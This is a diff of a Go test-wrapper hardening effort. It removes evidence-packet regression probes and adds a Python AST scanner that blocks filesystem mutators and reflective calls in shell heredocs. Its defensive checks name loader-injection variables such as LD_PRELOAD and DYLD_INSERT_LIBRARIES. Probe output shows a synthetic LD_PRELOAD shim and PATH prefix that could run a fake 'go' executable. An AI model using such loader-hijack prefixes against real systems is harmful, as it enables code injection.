"${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed legacy dynamic-argv probe -/opt/homebrew/bin/python3 -I - <<'PY' -import subprocess -from pathlib import Path -from tempfile import TemporaryDirectory - -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -helper_start = wrapper.index("def skip_source_ignored") -helper_end = wrapper.index("\nall_test_names = []", helper_start) -namespace = {"label": "comment-green"} -exec(compile(wrapper[helper_start:helper_end], "", "exec"), namespace) -source_names = namespace["source_test_names"] -real_run = subprocess.run -go_children = [] + for candidate in ast.walk(scope): + if python_enclosing_scope(candidate, parents) is not scope: + continue + if isinstance(candidate, ast.Assign): + targets = candidate.targets + if any( + target_binds_name(target) + and not (isinstance(target, ast.Name) and target.id == node.id) + for target in targets + ): + return False + elif isinstance(candidate, (ast.For, ast.AsyncFor)): + if target_binds_name(candidate.target): + return False + elif isinstance(candidate, (ast.With, ast.AsyncWith)): + if any( + item.optional_vars is not None + and target_binds_name(item.optional_vars) + for item in candidate.items + ): + return False + elif isinstance(candidate, ast.ExceptHandler) and candidate.name == node.id: + return False + elif isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + if ( + candidate.name == node.id + and python_enclosing_scope(parents.get(candidate), parents) is scope + ): + return False + elif isinstance(candidate, ast.Import) and any( + (alias.asname or alias.name.split(".")[0]) == node.id + for alias in candidate.names + ): + return False + elif isinstance(candidate, ast.ImportFrom) and any( + (alias.asname or alias.name) == node.id + for alias in candidate.names + ): + return False + elif isinstance(candidate, (ast.MatchAs, ast.MatchStar)): + if candidate.name == node.id: + return False + elif isinstance(candidate, ast.MatchMapping) and candidate.rest == node.id: + return False + elif isinstance(candidate, (ast.Global, ast.Nonlocal)) and node.id in candidate.names: + return False -def reject_go_child(*args, **kwargs): - command = args[0] if args else kwargs.get("args", []) - if command and command[0] == "go": - go_children.append(tuple(command)) - raise AssertionError("source-name helper started a Go child") - return real_run(*args, **kwargs) + if isinstance(scope, ast.Module) and any( + isinstance(candidate, ast.Global) and node.id in candidate.names + for candidate in ast.walk(tree) + ): + return False + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef)) and any( + isinstance(candidate, ast.Nonlocal) and node.id in candidate.names + for candidate in ast.walk(scope) + ): + return False -subprocess.run = reject_go_child -try: - with TemporaryDirectory() as directory: - source_path = Path(directory) / "comments_test.go" - source_path.write_text( - "package p\n" - "import \"testing\"\n" - "func\n" - "// first line\n" - "/* middle block */\n" - "// second line\n" - "TestHidden(t *testing.T) {}\n", - encoding="utf-8", + parameters = ( + list(scope.args.posonlyargs) + list(scope.args.args) + list(scope.args.kwonlyargs) + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef)) + else [] + ) + if any(parameter.arg == node.id for parameter in parameters): + return False + return bool(assignments) and all( + python_known_non_path_set_copy_receiver( + value, tree, parents, active ) - names = source_names(source_path) -finally: - subprocess.run = real_run -if names != ["TestHidden"]: - raise SystemExit(f"source-name comment regression discovered {names!r}") -if go_children: - raise SystemExit(f"source-name helper started Go child(ren): {go_children!r}") -print( - "source-name comment regression: passed; TestHidden discovered after " - "consecutive line/block comments with no Go child" -) -PY -``` - -#### Root 4001254025: unsupported POSIX regexp classes + for value in assignments + ) -The immutable red witness demonstrates a set mismatch for `[[:xdigit:]]`. -The prior helper left this nested class untranslated; Python consequently -derived a set unlike Go's ASCII `[0-9A-Fa-f]` class: -```sh -set -euo pipefail -[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -/opt/homebrew/bin/python3 -I - <<'PY' -import re -import subprocess -import warnings +def python_filesystem_mutator_alias_violation(tree, parents): + """Reject extracted mutator methods unless their receiver is temp-owned.""" + _collection_constructor_cache = {} + _reflective_flow_true_cache = set() + _enclosing_scope_cache = {} + def _cached_enclosing_scope(node, parents): + key = id(node) + try: + return _enclosing_scope_cache[key] + except KeyError: + scope = python_enclosing_scope(node, parents) + _enclosing_scope_cache[key] = scope + return scope + shutil_names = python_assigned_module_names(tree, "shutil") + getattr_aliases = {"getattr"} + alias_edges = [] + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif ( + isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)) + and candidate.value is not None + ): + targets, value = [candidate.target], candidate.value + else: + continue + if isinstance(value, ast.Name): + alias_edges.extend( + (target.id, value.id) + for target in targets + if isinstance(target, ast.Name) + ) + while True: + prior_count = len(getattr_aliases) + getattr_aliases.update( + target for target, source in alias_edges if source in getattr_aliases + ) + if len(getattr_aliases) == prior_count: + break + for node in ast.walk(tree): + if not ( + isinstance(node, ast.Name) + and isinstance(node.ctx, ast.Load) + and node.id in getattr_aliases + ): + continue + parent = parents.get(node) + if isinstance(parent, ast.Call) and parent.func is node: + continue + if ( + isinstance(parent, ast.Assign) + and parent.value is node + and all(isinstance(target, ast.Name) for target in parent.targets) + ) or ( + isinstance(parent, ast.AnnAssign) + and parent.value is node + and isinstance(parent.target, ast.Name) + ): + continue + return "Python heredoc lets a reflective getter callable escape its direct call path" + for node in ast.walk(tree): + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and node.value.id in shutil_names + and node.attr != "which" + and "shutil." + node.attr not in python_filesystem_mutating_functions + ): + return "Python heredoc accesses an unreviewed shutil entry point" + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and node.value.id in shutil_names + and node.value.id != "shutil" + and "shutil." + node.attr in python_filesystem_mutating_functions + ): + return "Python heredoc accesses a filesystem mutator through a shutil module alias" + for node in ast.walk(tree): + if isinstance(node, ast.Import) and any( + alias.name in {"os", "shutil"} and alias.asname is not None + for alias in node.names + ): + return "Python heredoc aliases a filesystem-capable module" + if isinstance(node, ast.ImportFrom) and node.module in {"os", "shutil"} and any( + alias.name == "*" or f"{node.module}.{alias.name}" in python_filesystem_mutating_functions + for alias in node.names + ): + return "Python heredoc imports an unreviewed filesystem mutator" + for node in ast.walk(tree): + if not ( + isinstance(node, ast.Attribute) + and node.attr in python_filesystem_mutating_methods + ): + continue + parent = parents.get(node) + if isinstance(parent, ast.Call) and parent.func is node: + continue + if ( + isinstance(parent, ast.Assign) + and parent.value is node + and all(isinstance(target, ast.Name) for target in parent.targets) + ) or ( + isinstance(parent, (ast.AnnAssign, ast.NamedExpr)) + and parent.value is node + and isinstance(parent.target, ast.Name) + ): + continue + if node.attr == "copy" and python_known_non_path_set_copy_receiver( + node.value, tree, parents + ): + continue + return ( + "Python heredoc stores or passes a filesystem mutator in an " + f"unreviewed holder on line {node.lineno}" + ) + for node in ast.walk(tree): + if ( + isinstance(node, ast.Attribute) + and python_dotted_name(node) in python_filesystem_mutating_functions + and not ( + isinstance(parents.get(node), ast.Call) + and parents[node].func is node + ) + ): + return ( + "Python heredoc stores or passes an unowned filesystem mutator " + f"{python_dotted_name(node)!r} on line {node.lineno}" + ) + def unresolved_reflective_call(node): + return ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id in getattr_aliases + and len(node.args) >= 2 + and not reflective_member_name_is_closed(node.args[1]) + ) -starting_head = "423d4fc501120a014e63f77d3ef6652606d0326a" -previous = subprocess.check_output( - [ - "git", - "show", - f"{starting_head}:docs/evidence/g01-recovery-packet.md", - ], - text=True, -) -wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 -wrapper_end = previous.index("\nPY\n}", wrapper_start) -previous_wrapper = previous[wrapper_start:wrapper_end] -helper_start = previous_wrapper.index("def reject_python_semantic_regexp_constructs") -guard_call = previous_wrapper.index("\nsource_fuzz_guard()", helper_start) -go_start = previous_wrapper.index("def go_compatible_regexp", helper_start) -go_end = previous_wrapper.index("\nall_test_names = []", go_start) -namespace = {"label": "prior-posix-red", "re": re} -exec( - compile( - previous_wrapper[helper_start:guard_call] + previous_wrapper[go_start:go_end], - "", - "exec", - ), - namespace, -) -with warnings.catch_warnings(): - warnings.simplefilter("ignore", FutureWarning) - go_regexp = namespace["go_compatible_regexp"] - compiled = go_regexp(r"[[:xdigit:]]", "-run") -python_matches = [value for value in ["A", "g"] if compiled.search(value)] -go_expected = ["A"] -if python_matches == go_expected: - raise SystemExit("red reproduction setup changed: prior POSIX helper matched Go xdigit") -print( - f"RED regexp POSIX mismatch: prior {starting_head} left [[:xdigit:]] " - f"untranslated; Python matched {python_matches!r}, while Go xdigit expects " - f"{go_expected!r}" -) -PY -``` + def unresolved_reflective_result(node): + return unresolved_reflective_call(node) and not ( + isinstance(parents.get(node), ast.Call) + and parents[node].func is node + ) -Recorded red output: + assignment_records = [] + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif ( + isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)) + and candidate.value is not None + ): + targets, value = [candidate.target], candidate.value + elif isinstance(candidate, (ast.For, ast.AsyncFor)): + targets, value = [candidate.target], candidate.iter + elif isinstance(candidate, ast.comprehension): + targets, value = [candidate.target], candidate.iter + else: + continue + binding_scope = _cached_enclosing_scope(candidate, parents) + for target in targets: + assignment_records.extend( + (binding_scope, stored_name.id, value) + for stored_name in ast.walk(target) + if isinstance(stored_name, ast.Name) + and isinstance(stored_name.ctx, ast.Store) + ) + if isinstance(target, ast.Subscript) and isinstance( + target.value, ast.Name + ): + assignment_records.append( + (binding_scope, target.value.id, value) + ) -```text -RED regexp POSIX mismatch: prior 423d4fc501120a014e63f77d3ef6652606d0326a left [[:xdigit:]] untranslated; Python matched [], while Go xdigit expects ['A'] -``` + collection_constructor_names = { + "dict", "frozenset", "list", "set", "tuple" + } -The current regexp preflight rejects every standard POSIX class outside the -explicit translated table before Python compilation and before package -metadata. The focused no-Go-child probe covers all six currently unsupported -classes, verifies each reviewed translation remains exact, and preserves both -escaped POSIX text and the previously reviewed literal backslash behavior: + def _known_collection_constructor_uncached(node, seen=None): + if seen is None: + seen = set() + if not isinstance(node, ast.Name): + return False + for scope in python_lexical_scope_chain( + _cached_enclosing_scope(node, parents), parents + ): + binding = (id(scope), node.id) + if binding in seen: + return False + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + arguments = scope.args + parameters = ( + list(arguments.posonlyargs) + + list(arguments.args) + + list(arguments.kwonlyargs) + + ([arguments.vararg] if arguments.vararg is not None else []) + + ([arguments.kwarg] if arguments.kwarg is not None else []) + ) + if any(parameter.arg == node.id for parameter in parameters): + return False + if any( + node.id in declaration.names + for declaration in ast.walk(scope) + if isinstance(declaration, (ast.Global, ast.Nonlocal)) + and _cached_enclosing_scope(declaration, parents) is scope + ): + return False + for candidate in ast.walk(scope): + candidate_scope = ( + _cached_enclosing_scope(parents.get(candidate), parents) + if isinstance( + candidate, + (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef), + ) + else _cached_enclosing_scope(candidate, parents) + ) + if candidate_scope is not scope: + continue + if isinstance(candidate, (ast.Import, ast.ImportFrom)): + imported_names = ( + [ + alias.asname or alias.name.split(".")[0] + for alias in candidate.names + ] + if isinstance(candidate, ast.Import) + else [alias.asname or alias.name for alias in candidate.names] + ) + if node.id in imported_names: + return False + if isinstance(candidate, ast.ExceptHandler) and candidate.name == node.id: + return False + if isinstance( + candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef) + ) and candidate.name == node.id and ( + _cached_enclosing_scope(parents.get(candidate), parents) is scope + ): + return False + values = [ + value + for binding_scope, name, value in assignment_records + if binding_scope is scope and name == node.id + ] + if values: + return all( + known_collection_constructor(value, seen | {binding}) + for value in values + ) + if any( + isinstance(candidate, ast.Name) + and candidate.id == node.id + and isinstance(candidate.ctx, ast.Store) + and _cached_enclosing_scope(candidate, parents) is scope + for candidate in ast.walk(scope) + ): + return False + return node.id in collection_constructor_names -```sh -set -euo pipefail -[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed legacy dynamic-argv probe -/opt/homebrew/bin/python3 -I - <<'PY' -import re -import subprocess -from pathlib import Path + def known_collection_constructor(node, seen=None): + key = (id(node), frozenset(seen) if seen else frozenset()) + try: + return _collection_constructor_cache[key] + except KeyError: + result = _known_collection_constructor_uncached(node, seen) + _collection_constructor_cache[key] = result + return result + + holder_methods = { + "add", "append", "extend", "insert", "setdefault", "update" + } + holder_method_aliases = {} + holder_method_name_aliases = {} + for scope, name, value in assignment_records: + if ( + isinstance(value, ast.Attribute) + and value.attr in holder_methods + and isinstance(value.value, ast.Name) + ): + holder_method_aliases.setdefault((scope, name), set()).add( + value.value.id + ) + elif isinstance(value, ast.Name): + holder_method_name_aliases.setdefault((scope, name), set()).add( + value.id + ) -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -preflight = wrapper.index("reject_unsupported_regexp_syntax(original_run_pattern") -metadata_guard = wrapper.index("test_source_paths = package_initialization_guard()") -if preflight > metadata_guard: - raise SystemExit("POSIX regexp preflight moved after package metadata") -helper_start = wrapper.index("def reject_python_semantic_regexp_constructs") -guard_call = wrapper.index("\nsource_fuzz_guard()", helper_start) -go_start = wrapper.index("def go_compatible_regexp", helper_start) -go_end = wrapper.index("\nall_test_names = []", go_start) -namespace = {"label": "posix-green", "re": re} -exec( - compile( - wrapper[helper_start:guard_call] + wrapper[go_start:go_end], - "", - "exec", - ), - namespace, -) -go_regexp = namespace["go_compatible_regexp"] -real_compile = re.compile -compile_calls = [] - -def recording_compile(pattern, *args, **kwargs): - compile_calls.append(pattern) - return real_compile(pattern, *args, **kwargs) - -real_run = subprocess.run -go_children = [] - -def reject_go_child(*args, **kwargs): - command = args[0] if args else kwargs.get("args", []) - if command and command[0] == "go": - go_children.append(tuple(command)) - raise AssertionError("regexp preflight started a Go child") - return real_run(*args, **kwargs) - -re.compile = recording_compile -subprocess.run = reject_go_child -try: - unsupported = [ - r"[[:blank:]]", - r"[[:cntrl:]]", - r"[[:graph:]]", - r"[[:print:]]", - r"[[:punct:]]", - r"[[:xdigit:]]", - ] - for pattern in unsupported: - try: - go_regexp(pattern, "-run") - except SystemExit as error: - if "unsupported POSIX regexp class" not in str(error): - raise - else: - raise SystemExit(f"unsupported POSIX class was accepted: {pattern!r}") - if compile_calls: - raise SystemExit(f"unsupported POSIX class reached Python compile: {compile_calls!r}") - - reviewed = { - r"[[:alnum:]]": "[A-Za-z0-9]", - r"[[:alpha:]]": "[A-Za-z]", - r"[[:digit:]]": "[0-9]", - r"[[:lower:]]": "[a-z]", - r"[[:upper:]]": "[A-Z]", - r"[[:space:]]": r"[\t\n\r\f ]", - r"[[:word:]]": "[A-Za-z0-9_]", - } - for pattern, expected in reviewed.items(): - compiled = go_regexp(pattern, "-run") - if compiled.pattern != expected: - raise SystemExit( - f"reviewed POSIX translation changed for {pattern!r}: " - f"{compiled.pattern!r}" + def scope_binds_name(scope, name): + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + arguments = scope.args + parameters = ( + list(arguments.posonlyargs) + + list(arguments.args) + + list(arguments.kwonlyargs) + + ([arguments.vararg] if arguments.vararg is not None else []) + + ([arguments.kwarg] if arguments.kwarg is not None else []) ) - literal_posix = go_regexp(r"\[\[:xdigit:\]\]", "-run") - if not literal_posix.fullmatch("[[:xdigit:]]"): - raise SystemExit("escaped literal POSIX text was not preserved") - literal_backslash = go_regexp(r"\\b", "-run") - if not literal_backslash.fullmatch(r"\b"): - raise SystemExit("escaped literal backslash was not preserved") -finally: - re.compile = real_compile - subprocess.run = real_run -if go_children: - raise SystemExit(f"regexp preflight started Go child(ren): {go_children!r}") -print( - "regexp POSIX preflight regression: passed; 6 unsupported classes rejected " - "before Python compile/Go child, reviewed translations and escaped literals preserved" -) -PY -``` - -### Fresh exact-head P2 corrections at `f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e` - -The four actionable Codex P2 roots below were reproduced against the immutable -packet blob at exact head `f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e` before -editing. The red probes extracted only the prior wrapper/scanner from -`git show :docs/evidence/g01-recovery-packet.md`; they did not execute a -Go test body or live operation. The current-green probes then exercised the -edited packet helpers with synthetic subprocess guards, source files, shell -tokens and a FIFO; no Go test child, credential, private path or live resource -was used. - -#### Root 4001378617: PATH and loader-affecting assignment prefixes - -The immutable red probe observed the prior first Go child receiving a -command-prefix `PATH=/synthetic/bin` and `LD_PRELOAD=/synthetic/lib/libshim.dylib`. -That allowed a transparent executable named `go` earlier on PATH to run before -the reviewed metadata boundary. The corrected wrapper rejects PATH plus the -reviewed Linux/macOS loader-affecting assignment names immediately after -prefix parsing and before any guarded Go subprocess. - -Recorded red output: + if any(parameter.arg == name for parameter in parameters): + return True + if any( + name in declaration.names + for declaration in ast.walk(scope) + if isinstance(declaration, (ast.Global, ast.Nonlocal)) + and _cached_enclosing_scope(declaration, parents) is scope + ): + return False + for candidate in ast.walk(scope): + candidate_scope = ( + _cached_enclosing_scope(parents.get(candidate), parents) + if isinstance( + candidate, + (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef), + ) + else _cached_enclosing_scope(candidate, parents) + ) + if candidate_scope is not scope: + continue + if isinstance(candidate, ast.Name) and ( + candidate.id == name and isinstance(candidate.ctx, ast.Store) + ): + return True + if isinstance(candidate, (ast.Import, ast.ImportFrom)): + imported_names = ( + [ + alias.asname or alias.name.split(".")[0] + for alias in candidate.names + ] + if isinstance(candidate, ast.Import) + else [alias.asname or alias.name for alias in candidate.names] + ) + if name in imported_names: + return True + if isinstance(candidate, ast.ExceptHandler) and candidate.name == name: + return True + if isinstance( + candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef) + ) and candidate.name == name and ( + _cached_enclosing_scope(parents.get(candidate), parents) is scope + ): + return True + return False -```text -RED PATH/loader-prefix gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e forwarded PATH='/synthetic/bin' and LD_PRELOAD='/synthetic/lib/libshim.dylib' to first Go child ('go', 'env', 'GOFLAGS'); a transparent executable wrapper could run -``` + def holder_binding_scope(name, scope): + lexical_scopes = python_lexical_scope_chain(scope, parents) + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + declarations = { + declaration_type: set().union(*( + set(declaration.names) + for declaration in ast.walk(scope) + if isinstance(declaration, declaration_type) + and _cached_enclosing_scope(declaration, parents) is scope + )) + for declaration_type in (ast.Global, ast.Nonlocal) + } + if name in declarations[ast.Global]: + module = next( + ( + candidate + for candidate in lexical_scopes + if isinstance(candidate, ast.Module) + ), + None, + ) + return ( + module + if module is not None and scope_binds_name(module, name) + else None + ) + if name in declarations[ast.Nonlocal]: + return next( + ( + candidate + for candidate in lexical_scopes[1:] + if isinstance( + candidate, + (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda), + ) + and scope_binds_name(candidate, name) + ), + None, + ) + return next( + ( + candidate + for candidate in lexical_scopes + if scope_binds_name(candidate, name) + ), + None, + ) -Recorded current-green output: + def holder_receivers_for_alias(name, scope, seen=None): + if seen is None: + seen = set() + binding_scope = holder_binding_scope(name, scope) + if binding_scope is None: + return set() + binding = (binding_scope, name) + if binding in seen: + return set() + seen.add(binding) + receivers = set() + for receiver_name in holder_method_aliases.get(binding, ()): + receiver_scope = holder_binding_scope(receiver_name, binding_scope) + if receiver_scope is not None: + receivers.add((receiver_scope, receiver_name)) + for source_name in holder_method_name_aliases.get(binding, ()): + receivers.update( + holder_receivers_for_alias( + source_name, binding_scope, set(seen) + ) + ) + return receivers -```text -loader-prefix regression: passed; PATH and 13 equivalent LD_/DYLD_ assignments rejected before any Go child/result, and transparent go wrapper did not run -``` + def reflective_member_name_is_closed(node, seen=None): + if seen is None: + seen = set() + if isinstance(node, ast.Constant): + return isinstance(node.value, str) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): + return reflective_member_name_is_closed( + node.left, set(seen) + ) and reflective_member_name_is_closed(node.right, set(seen)) + if isinstance(node, ast.Call): + if id(node) in seen: + return False + returned = python_local_call_return_values(node, tree, parents) + if not returned: + return False + return all( + reflective_member_name_is_closed(value, set(seen) | {id(node)}) + for value in returned + ) + if not isinstance(node, ast.Name) or node.id in seen: + return False + seen.add(node.id) + for scope in python_lexical_scope_chain( + _cached_enclosing_scope(node, parents), parents + ): + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + arguments = scope.args + parameters = ( + list(arguments.posonlyargs) + + list(arguments.args) + + list(arguments.kwonlyargs) + + ([arguments.vararg] if arguments.vararg is not None else []) + + ([arguments.kwarg] if arguments.kwarg is not None else []) + ) + if any(parameter.arg == node.id for parameter in parameters): + return False + if any( + node.id in declaration.names + for declaration in ast.walk(scope) + if isinstance(declaration, (ast.Global, ast.Nonlocal)) + and _cached_enclosing_scope(declaration, parents) is scope + ): + return False + values = [ + value + for binding_scope, name, value in assignment_records + if binding_scope is scope and name == node.id + ] + if values: + return all( + reflective_member_name_is_closed(value, set(seen)) + for value in values + ) and bool(python_static_string_values(node, tree)) + for candidate in ast.walk(scope): + if isinstance(candidate, (ast.Import, ast.ImportFrom)) and ( + _cached_enclosing_scope(candidate, parents) is scope + ): + imported_names = ( + [ + alias.asname or alias.name.split(".")[0] + for alias in candidate.names + ] + if isinstance(candidate, ast.Import) + else [alias.asname or alias.name for alias in candidate.names] + ) + if node.id in imported_names: + return False + if isinstance(candidate, ast.ExceptHandler) and ( + candidate.name == node.id + and _cached_enclosing_scope(candidate, parents) is scope + ): + return False + if isinstance( + candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef) + ) and candidate.name == node.id and ( + _cached_enclosing_scope(parents.get(candidate), parents) is scope + ): + return False + return False -The boundary includes separated command-prefix assignments, an executable -transparent `go` wrapper that would leave a marker if reached, and the allowed -`GOTOOLCHAIN` assignment remains outside the rejection set. Final anchor: -[PATH/loader boundary](#root-4001378617-path-and-loader-affecting-assignment-prefixes). + reflective_bindings = set() -#### Root 4001378618: Go Unicode lowercase predicate for test names + def reflective_name_is_bound(node): + if not isinstance(node, ast.Name) or not isinstance(node.ctx, ast.Load): + return False + use_scope = _cached_enclosing_scope(node, parents) + return any( + (scope, node.id) in reflective_bindings + for scope in python_lexical_scope_chain(use_scope, parents) + ) -The immutable red probe used the prior Python `str.islower()` predicate and -showed that it omitted `Testª`, although Go's `unicode.IsLower(U+00AA)` is false. -The corrected source-name helper uses the Unicode lowercase-letter (`Ll`) -category, matching cmd/go's `isTest` rule: an empty suffix or a first suffix -rune that is not lowercase is accepted, including uppercase, titlecase and -other non-lowercase runes. + def _reflective_value_flows_uncached(node): + if unresolved_reflective_result(node): + return True + if isinstance(node, ast.Name): + return reflective_name_is_bound(node) + if isinstance(node, ast.Starred): + return reflective_value_flows(node.value) + if isinstance(node, ast.NamedExpr): + return reflective_value_flows(node.value) + if isinstance(node, (ast.List, ast.Tuple, ast.Set)): + return any(reflective_value_flows(item) for item in node.elts) + if isinstance(node, ast.Dict): + return any( + reflective_value_flows(item) + for item in [*node.keys, *node.values] + if item is not None + ) + if isinstance(node, ast.Subscript): + return reflective_value_flows(node.value) + if isinstance(node, ast.IfExp): + return reflective_value_flows(node.body) or reflective_value_flows(node.orelse) + if isinstance(node, ast.BoolOp): + return any(reflective_value_flows(item) for item in node.values) + if isinstance(node, (ast.ListComp, ast.SetComp, ast.GeneratorExp)): + return reflective_value_flows(node.elt) or any( + reflective_value_flows(generator.iter) + for generator in node.generators + ) + if isinstance(node, ast.DictComp): + return ( + reflective_value_flows(node.key) + or reflective_value_flows(node.value) + or any( + reflective_value_flows(generator.iter) + for generator in node.generators + ) + ) + if isinstance(node, ast.Attribute) and node.attr == "__call__": + return reflective_value_flows(node.value) + if ( + isinstance(node, ast.Call) + and known_collection_constructor(node.func) + ): + return any( + reflective_value_flows(value) + for value in [ + *node.args, + *(keyword.value for keyword in node.keywords), + ] + ) + return False -Recorded red output: + def reflective_value_flows(node): + key = id(node) + if key in _reflective_flow_true_cache: + return True + result = _reflective_value_flows_uncached(node) + if result: + _reflective_flow_true_cache.add(key) + return result -```text -RED Unicode Test-name gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e used Python islower and omitted Testª (Go unicode.IsLower(U+00AA)=false); observed ['TestDž', 'Testƻ', 'Test中'], expected ['TestDž', 'Testƻ', 'Test中', 'Testª'] -``` + def transfer_capable_argument(node, scope): + if isinstance(node, ast.Name): + return bool(holder_receivers_for_alias(node.id, scope)) or ( + known_collection_constructor(node) + ) + if isinstance(node, ast.Attribute): + return node.attr in holder_methods + return False -Recorded current-green output: + for candidate in ast.walk(tree): + if not isinstance(candidate, ast.Call) or not isinstance( + candidate.func, ast.Name + ): + continue + scope = _cached_enclosing_scope(candidate, parents) + if not python_local_function_candidates( + candidate.func.id, candidate, tree, parents + ): + continue + arguments = [ + *candidate.args, + *(keyword.value for keyword in candidate.keywords), + ] + if not any(reflective_value_flows(value) for value in arguments): + continue + if any( + transfer_capable_argument(value, scope) + for value in arguments + if not reflective_value_flows(value) + ): + return ( + "Python heredoc forwards a reflective filesystem result with a " + f"holder or constructor to a local helper on line {candidate.lineno}" + ) -```text -source-name Unicode regression: passed; Testª/title/other non-lowercase runes accepted, lowercase Testa/Testdž rejected, no Go child -``` + for _ in range(len(assignment_records) + 1): + changed = False + for scope, name, value in assignment_records: + binding = (scope, name) + if binding not in reflective_bindings and reflective_value_flows(value): + reflective_bindings.add(binding) + changed = True + for candidate in ast.walk(tree): + if not isinstance(candidate, ast.Call) or not any( + reflective_value_flows(value) + for value in [ + *candidate.args, + *(keyword.value for keyword in candidate.keywords), + ] + ): + continue + scope = _cached_enclosing_scope(candidate, parents) + if ( + isinstance(candidate.func, ast.Attribute) + and candidate.func.attr in holder_methods + and isinstance(candidate.func.value, ast.Name) + ): + receiver_scope = holder_binding_scope( + candidate.func.value.id, scope + ) + holder_bindings = ( + {(receiver_scope, candidate.func.value.id)} + if receiver_scope is not None + else set() + ) + elif isinstance(candidate.func, ast.Name): + holder_bindings = holder_receivers_for_alias( + candidate.func.id, scope + ) + else: + holder_bindings = set() + for binding in holder_bindings: + if binding not in reflective_bindings: + reflective_bindings.add(binding) + changed = True + if not changed: + break -The source-only boundary retained `Test`, `Test1`, `Test_Foo`, ASCII -uppercase, titlecase `Dž`, other-letter `ƻ`/`中`, and `Testª`, while rejecting -lowercase-initial `Testa` and `Testdž`; no Go child or test body ran. Final -anchor: [Go Unicode test-name boundary](#root-4001378618-go-unicode-lowercase-predicate-for-test-names). + def reflective_callable_target(node): + if isinstance(node, ast.Call): + return unresolved_reflective_result(node) + if isinstance(node, ast.Name): + return reflective_name_is_bound(node) + if isinstance(node, ast.Subscript): + return reflective_callable_target(node.value) or reflective_value_flows( + node.value + ) + if isinstance(node, ast.Attribute) and node.attr == "__call__": + return reflective_callable_target(node.value) + return False -#### Root 4001378622: recursive shell command-string scan + for candidate in ast.walk(tree): + if not isinstance(candidate, ast.Call): + continue + if unresolved_reflective_call(candidate.func) or reflective_callable_target( + candidate.func + ): + return "Python heredoc calls an unresolved reflective mutator result" -The immutable red probe showed that the prior executable-token scan accepted -direct `bash -c`/`sh -c` and nested shell command strings without inspecting -their payloads. The corrected static scanner recognizes absolute and optioned -shells, `busybox sh`, wrapper prefixes and nested command strings, recursively -examining payloads and rejecting the command-string form before 